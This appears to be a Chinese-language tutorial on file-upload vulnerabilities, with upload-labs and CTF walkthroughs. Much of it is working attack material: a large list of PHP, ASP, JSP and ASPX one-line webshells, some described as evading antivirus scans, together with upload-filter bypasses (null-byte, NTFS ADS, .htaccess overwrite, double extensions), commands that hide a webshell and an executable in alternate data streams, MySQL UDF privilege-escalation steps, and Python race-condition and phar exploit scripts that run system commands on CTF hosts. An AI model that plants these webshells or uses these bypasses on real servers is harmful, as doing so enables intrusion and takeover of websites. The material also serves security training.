文件上傳漏洞 (上傳知識點、題型總結大全-upload靶場全解)


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


什麼是文件上傳漏洞

文件上傳漏洞是指由於程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致的用戶可以越過其本身權限向服務器上上傳可執行的動態腳本文件。這裏上傳的文件可以是木馬,病毒,惡意腳本或者WebShell等。“文件上傳”本身沒有問題,有問題的是文件上傳後,服務器怎麼處理、解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致嚴重的後果。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


什麼是webshell

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱之爲一種網頁後門。攻擊者在入侵了一個網站後,通常會將這些asp或php後門文件與網站服務器web目錄下正常的網頁文件混在一起,然後使用瀏覽器來訪問這些後門,得到一個命令執行環境,以達到控制網站服務器的目的(可以上傳下載或者修改文件,操作數據庫,執行任意命令等)。 WebShell後門隱蔽較性高,可以輕鬆穿越防火牆,訪問WebShell時不會留下系統日誌,只會在網站的web日誌中留下一些數據提交記錄


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


一句話木馬大全

可跳過~~
常用的webshell就是一句話木馬,結合中國菜刀或者hackbar等工具可以很高效快捷的獲得網站shell。

##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php環境>=<5.6才能用
<?php usort(...$_GET);?>  php環境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容錯代碼 
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個後,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話

<?php (])?>   上面這句是防殺防掃的!網上很少人用!可以插在網頁任何ASP文件的最底部不會出錯,比如 index.asp裏面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判斷的PHP一句話,與上面的ASP一句話相同道理,也是可以插在任何PHP文件 的最底部不會出錯!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
無防下載表,有防下載表可嘗試插入以下語句突破的一句話 

<%eval(request(“1″)):response.end%> 備份專用

##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客戶端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句話 

##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用雙引號的一句話。

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


產生文件上傳漏洞的原因

原因:

  • 對於上傳文件的後綴名(擴展名)沒有做較爲嚴格的限制
  • 對於上傳文件的MIMETYPE(用於描述文件的類型的一種表述方法) 沒有做檢查
  • 權限上沒有對於上傳的文件目錄設置不可執行權限,(尤其是對於shebang類型的文件)
  • 對於web server對於上傳文件或者指定目錄的行爲沒有做限制

原理:
在 WEB 中進行文件上傳的原理是通過將表單設爲 multipart/form-data,同時加入文件域,而後通過 HTTP 協議將文件內容發送到服務器,服務器端讀取這個分段 (multipart) 的數據信息,並將其中的文件內容提取出來並保存的。通常,在進行文件保存的時候,服務器端會讀取文件的原始文件名,並從這個原始文件名中得出文件的擴展名,而後隨機爲文件起一個文件名 ( 爲了防止重複 ),並且加上原始文件的擴展名來保存到服務器上

文件上傳後導致的常見安全問題一般有:

  • 上傳文件是Web腳本語言,服務器的Web容器解釋並執行了用戶上傳的腳本,導致代
    碼執行;

  • 上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行爲(其
    他通過類似方式控制策略文件的情況類似);

  • 上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行:

  • 上傳文件是釣魚圖片或爲包含了腳本的圖片,在某些版本的瀏覽器中會被作爲腳本執
    行,被用於釣魚和欺詐。

除此之外,還有一些不常見的利用方法,比如將上傳文件作爲一個入口,溢出服務器的後臺處理程序,如圖片解析模塊;或者上傳-一個合法的文本文件, 其內容包含了PHP腳本,再通過“本地文件包含漏洞(Local File Include)"執行此腳本;等等。此類問題不在此細述。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


文件上傳漏洞的攻擊與防禦方式

1.前端限制

<li id="show_code">
    <h3>代碼</h3>
<pre>
<code class="line-numbers language-javascript">function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的文件!");
        return false;
    }
    //定義允許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否允許上傳
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
        alert(errMsg);
        return false;
    }
}
</code>
</pre>
</li>

原理

在表單中使用onsumbit=checkFile()調用js函數來檢查上傳文件的擴展名。當用戶在客戶端選擇文件點擊上傳的時候,客戶端還沒有向服務器發送任何消息,就對本地文件進行檢測來判斷是否是可以上傳的類型,這種方式稱爲前臺腳本檢測擴展名。

繞過方法

這種限制很簡單,通過瀏覽器F12很簡單的修改文件後綴名就可以完成繞過檢查,或者是講木馬修改後綴名後上傳,通過改包工具修改上傳。如果是JS腳本檢測,在本地瀏覽器客戶端禁用JS即可。可使用火狐瀏覽器的NoScript插件、IE中禁用掉JS等方式實現繞過。

操作方法

準備一句話木馬:

<?php
@eval($_POST['cmd']);
?>

並且修改後綴名爲jpg,上傳操作,通過burpsuit抓包改包,使其後綴名修改回php。


2.檢查擴展名

就是在文件被上傳到服務端的時候,對於文件名的擴展名進行檢查,如果不合法,則拒絕這次上傳
在檢查擴展名是否合法的時候,有兩種策略:

1.黑名單策略,

文件擴展名在黑名單中的爲不合法
示例

//黑名單策略
<li id="show_code">
    <h3>代碼</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp後綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}
</code>
</pre>
</li>
2.白名單策略

文件擴展名不在白名單中的均爲不合法
示例

<li id="show_code">
    <h3>代碼</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}
</code>
</pre>
</li>

原理
當瀏覽器將文件提交到服務器端的時候,服務器端會根據設定的黑白名單對瀏覽器提交上來的文件擴展名進行檢測,如果上傳的文件擴展名不符合黑白名單的限制,則不予上傳,否則上傳成功。

繞過方法

在一些Web server中,存在解析漏洞:
1.老版本的IIS6中的目錄解析漏洞,如果網站目錄中有一個 /.asp/目錄,那麼此目錄下面的一切內容都會被當作asp腳本來解析
2.老版本的IIS6中的分號漏洞:IIS在解析文件名的時候可能將分號後面的內容丟棄,那麼我們可以在上傳的時候給後面加入分號內容來避免黑名單過濾,如 a.asp;jpg
3.舊版Windows Server中存在空格和dot漏洞類似於 a.php. 和 a.php[空格] 這樣的文件名存儲後會被windows去掉點和空格,從而使得加上這兩個東西可以突破過濾,成功上傳,並且被當作php代碼來執行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字節漏洞 xxx.jpg%00.php 這樣的文件名會被解析爲php代碼運行(fastcgi會把這個文件當php看,不受空字節影響,但是檢查文件後綴的那個功能會把空字節後面的東西拋棄,所以識別爲jpg)
5.apache1.x,2.x的解析漏洞,上傳如a.php.rar a.php.gif 類型的文件名,可以避免對於php文件的過濾機制,但是由於apache在解析文件名的時候是從右向左讀,如果遇到不能識別的擴展名則跳過,rar等擴展名是apache不能識別的,因此就會直接將類型識別爲php,從而達到了注入php代碼的目的


3.檢查Content-Type

原理

HTTP協議規定了上傳資源的時候在Header中加上一項文件的MIMETYPE,來識別文件類型,這個動作是由瀏覽器完成的,服務端可以檢查此類型不過這仍然是不安全的,因爲HTTP header可以被髮出者或者中間人任意的修改。

常見類型

文件後綴 Mime類型 說明
.flv flv/flv-flash 在線播放
.html或.htm text/html 超文本標記語言文本
.rtf application/rtf RTF文本
.gif 或.png image/gif(image/png) GIF圖形/PNG圖片
.jpeg或.jpg image/jpeg JPEG圖形
.au audio/basic au聲音文件
.mid或.midi audio/midi或audio/x-midi MIDI音樂文件
.ra或.ram或.rm audio/x-pn-realaudio RealAudio音樂文件
.mpg或.mpeg或.mp3 video/mpeg MPEG文件
.avi video/x-msvideo AVI文件
.gz application/x-gzip GZIP文件
.tar application/x-tar TAR文件
.exe application/octet-stream 下載文件類型
.rmvb video/vnd.rn-realvideo 在線播放
.txt text/plain 普通文本
.mrp application/octet-stream MRP文件(國內普遍的手機)
.ipa application/iphone-package-archive IPA文件(IPHONE)
.deb application/x-debian-package-archive DED文件(IPHONE)
.apk application/vnd.android.package-archive APK文件(安卓系統)
.cab application/vnd.cab-com-archive CAB文件(Windows Mobile)
.xap application/x-silverlight-app XAP文件(Windows Phone 7)
.sis application/vnd.symbian.install-archive SIS文件(symbian平臺)
.jar application/java-archive JAR文件(JAVA平臺手機通用格式)
.jad text/vnd.sun.j2me.app-descriptor JAD文件(JAVA平臺手機通用格式)
.sisx application/vnd.symbian.epoc/x-sisx-app SISX文件(symbian平臺)

繞過方法
使用各種各樣的工具(如burpsuite)強行篡改Header就可以,將Content-Type: application/php改爲其他web程序允許的類型。


4.文件頭檢查文件

原理

利用的是每一個特定類型的文件都會有不太一樣的開頭或者標誌位。

格式 文件頭
TIFF (tif) 49492A00
Windows Bitmap (bmp) 424D
CAD (dwg) 41433130
Adobe Photoshop (psd) 38425053
JPEG (jpg) FFD8FF
PNG (png) 89504E47
GIF (gif) 47494638
XML (xml) 3C3F786D6C
HTML (html) 68746D6C3E
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip), 504B0304
RAR Archive (rar), 52617221
Wave (wav), 57415645
AVI (avi), 41564920
Adobe Acrobat (pdf), 255044462D312E

繞過方法

給上傳腳本加上相應的幻數頭字節就可以,php引擎會將 <?之前的內容當作html文本,不解釋而跳過之,後面的代碼仍然能夠得到執行比如下面:
(一般不限制圖片文件格式的時候使用GIF的頭比較方便,因爲全都是文本可打印字符。)


5.限制Web Server對特定類型文件的行爲

原理

導致文件上傳漏洞的根本原因在於服務把用戶上傳的本應是數據的內容當作了代碼,一般而言:用戶上傳的內容都會被存儲到特定的一個文件夾下,比如我們很多人習慣於放在 ./upload/ 下面要防止數據被當作代碼執行,我們可以限制web server對於特定文件夾的行爲。

大多數服務端軟件都可以支持用戶對於特定類型文件的行爲的自定義,以Apache爲例:

在默認情況下,對與 .php文件Apache會當作代碼來執行,對於 html,css,js文件,則會直接由HTTP Response交給客戶端程序對於一些資源文件,比如txt,doc,rar等等,則也會以文件下載的方式傳送的客戶端。我們希望用戶上傳的東西僅僅當作資源和數據而不能當作代碼。因此Apache使用服務器程序的接口來進行限制利用 .htaccess 文件機制來對web server行爲進行限制。

禁止腳本執行有多種方式可以實現,而且分別有不同的效果:

  • 指定特定擴展名的文件的處理方式,原理是指定Response的Content-Type可以加上如下幾行
   AddType text/plain .pl .py .php

這種情況下,以上幾種腳本文件會被當作純文本來顯示出來,你也可以換成其他的Content-Type

這種情況下,以上幾種腳本文件會被當作純文本來顯示出來,你也可以換成其他的Content-Type

  • 如果要完全禁止特定擴展名的文件被訪問,用下面的幾行

    Options -ExecCGI
    AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi識別
    

    在這種情況下,以上幾種類型的文件被訪問的時候,會返回403 Forbidden的錯誤

  • 強制web服務器對於特定文件類型的處理,與第一條不同的是, 下面的方法直接強行讓apache將文件識別爲你指定的類型,而第一種是讓瀏覽器符合上面正則的全部被認爲是純文本,也可以繼續往裏面加入其他類型。

<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>
  • 只允許訪問特定類型的文件.使得該文件夾裏面只有圖片擴展名的文件纔可以被訪問,其他類型都是拒絕訪問(白名單策略)。
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>

繞過方法

可以通過 move_uploaded_file 函數把自己寫的.htaccess 文件上傳,覆蓋掉服務器上的文件,來定義文件類型和執行權限如果做到了這一點,將獲得相當大的權限。

補充知識htaccess:

.htaccess文件(或者"分佈式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用於此目錄及其所有子目錄。作爲用戶,所能使用的命令受到限制。管理員可以通過Apache的AllowOverride指令來設置。概述來說,htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。


6.文件系統00截斷

原理

**在上傳的時候,當文件系統讀到【0x00】時,會認爲文件已經結束。**利用00截斷就是利用程序員在寫程序時對文件的上傳路徑過濾不嚴格,產生0x00、%00上傳截斷漏洞。

繞過方法

通過抓包截斷將【evil.php.jpg】後面的一個【.】換成【0x00】。在上傳的時候,當文件系統讀到【0x00】時,會認爲文件已經結束,從而將【evil.php.jpg】的內容寫入到【evil.php】中,從而達到攻擊的目的。


7.windows NTFS文件系統特性繞過

NTFS交換數據流(alternate data streams簡稱ADS)是NTFS磁盤格式的新特性,見漏洞詳細可查CVE-1999-0278。

  • 一個完整的流的格式爲:::
  • 文件主流即我們平時可以看見的可以存儲數據的文件。而非主文件流寄宿於主文件流中,無法直接讀取。
  • 修改宿主文件的內容或流的內容,不會對彼此造成影響。
  • 流類型總是以NTFSdata(符號作爲開始,NTFS文件系統中的文件至少包含一個主流,也就是data流(DATA),默認流名爲空。
  • ADS可以省略流名,但不能省略流類型。
  • NTFS文件系統中的文件夾沒有data流,但可以指派data流,文件夾的主流爲directory流(INDEXALLOCATION)INDEX_ALLOCATION),流名默認爲I30

當我們對一個在NTFS分區中的ASP文件發出包含DATAIIS.::DATA請求,IIS會檢查最後一個“.”後面的擴展名,因爲多了::DATA,結果IIS不認爲這是一個ASP文件,而文件系統可以識別該請求,於是返回ASP的源代碼。

繞過方法

  1. IIS目錄訪問權限繞過:在IIS6.0+PHP、IIS7+asp、IIS7.5+php的環境下,如果目錄是通過HTTP Basic來認證,假設網站根目錄存在index.php文件,可通過構造如下方式來繞過認證直接訪問目錄下的文件。
/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp
  1. 上傳繞過黑名單:在測試中我們發現如果上傳的文件名字爲:test.php::$DATA,會在服務器上生成一個test.php的文件,其中內容和所上傳文件內容相同,並被解析。
上傳的文件名 服務器表面現象 生成的文件內容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夾
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

注意:
對於windows環境的服務器,上傳test.php:.jpg類型的文件,當文件傳到服務端時,windows會將該文件識別成ADS,從而認爲其宿主文件名爲1.asp而將.jpg識別爲流名。
通過notepad test.php:.jpg可以查看內容,所以test.php內容爲空是正常的。
然後修改上傳的文件名爲test.>>>或者test.<、test.<<<、test.>><再上傳,會重寫test.php。原因是在PHP+IIS的環境下," 同義. >同義? <同義*

  1. 隱藏webshell:在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
    這樣生成了一個不可見的shell hidden.jpg,type dir del命令都不行。利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句話。

  2. mysql中的udf提權:

如果數據庫用戶對數據庫mysql(注意指的是數據庫裏的默認庫mysql)具有insert和delete權限,就可以創建加載自定義函數。
而又因爲mysql服務是以system權限運行在windows主機上,所以這個時候我們就可以通過自定義函數以system權限執行命令了。

如果數據庫用戶對數據庫mysql(注意指的是數據庫裏的默認庫mysql)具有insert和delete權限,就可以創建加載自定義函數。
而又因爲mysql服務是以system權限運行在windows主機上,所以這個時候我們就可以通過自定義函數以system權限執行命令了。

Mysql 5.0.67之前,DLL的導入目錄是C:\windows\system32
從MySQL 5.1開始,要求目錄必須是mysql目錄下的lib\plugin\目錄,而且mysql 5.1之後的常用安裝版本是默認不存在lib\plugin目錄的。

執行sql語句

show variables like '%plugin%';

查看目錄位置。
利用ADS依次創建lib、plugin目錄

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

如果創建失敗的話,執行

show variables like '%secure%';

看看secure_file_priv的值:

如果創建失敗的話,執行

show variables like '%secure%';

看看secure_file_priv的值:

  • null表示限制mysqld不允許導入導出
  • 當secure_file_priv的值爲/tmp/,表示限制mysqld 的導入導出只能在/tmp/目錄下
  • 當secure_file_priv的值爲空,表示不對mysqld的導入導出做限制
  1. 隱藏exe文件
type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe執行,但是win7以上這樣執行會報錯。win7及之後的系統的正確姿勢如下:
創建一個符號鏈接文件test.exe,鏈接到寄生的交換數據流可執行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然後執行start test.exe /b即可
更新一個方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中,可執行文件可以和文本文件一樣實現真正的隱藏,這可能也是當時大多數殺毒軟件添加數據流病毒查殺功能的原因;在Win7之後的系統中,微軟可能出於安全考慮,不允許直接運行交換數據流可執行文件,必須要創建符號鏈接,這個符號鏈接是可見的(當然可以使用其他手段隱藏這個符號鏈接),並且這個符號鏈接創建出來後不能複製到其他地方,只能在創建的那個位置使用命令行方式調用(鼠標雙擊會報錯)。

查看隱藏流文件

使用這兩款小工具配合進行檢測和清除寄生的交換數據流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe檢測,streams.exe進行清理。
還有一個叫做AlternateStreamView的工具也可以




8.二次渲染繞過

感覺這個的知識點偏向文件格式分析(MISC)。在製作圖片馬的時候

往往是在圖片後頭附件一段php代碼,或者是改包發送一個圖片馬。但是如果使用了二次渲染。我們上傳的文件名稱會被修改,並且文件末尾段一些冗餘的信息(一句話木馬)會被刪除。

所以很明顯,我們只需要將我們需要寫入的東西塞在圖片中間(雖然會使圖片損壞,但是我們又不需要圖片。。),用winhex或者是010editor等在文件內進行修改即可。


9.條件競爭

條件競爭漏洞是一種服務器端的漏洞,由於服務器端在處理不同用戶的請求時是併發進行的,因此,如果併發處理不當或相關操作邏輯順序設計的不合理時,將會導致此類問題的發生。

該漏洞一般出現在與數據庫系統頻繁交互的位置,例如金額同步、支付等較敏感操作處。另外條件競爭漏洞也會出現在其他位置,例如文件的操作處理等。

#-*-coding:utf-8-*-
import threading
COUNT = 0

def Run(threads_name):
    global COUNT
    read_value = COUNT
    print "COUNT in Thread-%s is %d" % (str(threads_name), read_value)
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(10):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print ("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()

按照我們的預想,結果應該都是10,但是發現結果可能存在非預期解,並且出現非預期的概率還挺大的。

這是什麼原因呢?

原因就在於我們沒有對變量COUNT做同步制約,導致可能Thread-7在讀COUNT,還沒來得及更改COUNT,Thread-8搶奪資源,也來讀COUNT,並且將COUNT修改爲它讀的結果+1,由此出現非預期。

同樣的,WEB應用程序因爲要爲很多用戶服務,勢必要採用多線程,但是,如果種種原因導致線程間的同步機制沒處理好,那麼也就會導致非預期和條件競爭的漏洞。

例子:

例一:金額提現

假設現有一個用戶在系統中共有2000元可以提現,他想全部提現。於是該用戶同時發起兩次提現請求,第一次提交請求提現2000元,系統已經創建了提現訂單但還未來得及修改該用戶剩餘金額,此時第二次提現請求同樣是提現2000元,於是程序在還未修改完上一次請求後的餘額前就進行了餘額判斷,顯然如果這裏餘額判斷速度快於上一次餘額修改速度,將會產生成功提現的兩次訂單,而數據庫中餘額也將變爲-2000。而這產生的後果將會是平臺多向該用戶付出2000元

例二:moctf

打開網址後一直打開的是index2.php 修改爲index.php後發現還是會跳轉到index2 抓包修改index.php。
在這裏插入圖片描述

發現index.php是一個302網頁,因此就可以看到這裏存在的一個文件uploadsomething.php。
在這裏插入圖片描述

隨便填寫文件名下面寫入代碼,再進行提交。

訪問後
在這裏插入圖片描述
因此這裏就需要用到條件競爭,不斷的向網站發送請求,然後邊發送邊訪問。

寫入一個py文件一直髮requests即可

import requests
url="http://119.23.73.3:5006/web2/uploads/b106f91010a3789acab1f27a00d67570052a7921/1.php"
while 1:
    print (requests.get(url).text)

在這裏插入圖片描述

例三:XMAN-Easy Gallery

僞協議讀取代碼

http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload.php

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(5);
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

首先是驗證上傳的文件是否爲圖片格式,如果上傳了正確的圖片,imagecreatefromjpeg()返回圖像資源,文件名更換爲新的時間戳,用新的文件路徑newrootpathunlink(new_rootpath輸出圖片,最後刪除原文件unlink(rootpath);如果上傳了不正確的圖片,不會更換新的文件路徑,最後還要刪除源文件unlink($rootpath);上傳過程中存在一個延時函數sleep(5),所以上傳的文件即使驗證不成功也有5秒鐘的時間存在。

python的payload。

import requests
import time
id = int(time.time())
s=requests.session()
data0={'v':"phpinfo();",}
data1={
    'v':"system('ls');"
}
data2={
    'v':"system('cat xxxxxxxxxasdasf_flag.php');"
}
while 1:
    for i in range(id-50,id+50):
        url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v'
        t=s.post(url,data=data1).content
        print i
        if 'flag' in t:
            print t
            break

10.其它方式—繞過

原理

部分程序員的思維不嚴謹,並使用邏輯不完善的上傳文件合法性檢測手段,導致可以找到方式繞過其檢測方式。

繞過方法

  • 後綴名大小寫繞過 用於只將小寫的腳本後綴名(如php)過濾掉的場合; 例如:將Burpsuite截獲的數據包中的文件名【evil.php】改爲【evil.Php】
  • 雙寫後綴名繞過 用於只將文件後綴名過濾掉的場合,例如"php"字符串過濾的; 例如:上傳時將Burpsuite截獲的數據包中文件名【evil.php】改爲【evil.pphphp】,那麼過濾了第一個"php"字符串"後,開頭的’p’和結尾的’hp’就組合又形成了【php】。
  • 特殊後綴名繞過 用於檢測文件合法性的腳本有問題的場合; 例如:將Burpsuite截獲的數據包中【evil.php】名字改爲【evil.php6】,或加個空格改爲【evil.php 】等。

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


靶場實戰

靶場資源鏈接、環境資源一鍵安裝

實戰依據upload靶場進行實驗訓練,upload靶場涵蓋目前所有類型的上傳漏洞,將靶場漏洞題目全部刷完即可完全全部的上傳漏洞的訓練。

首先對一個文件進行分析,從而對PHP和源代碼環境進行深入理解。

<li id="show_code">
    <h3>代碼</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
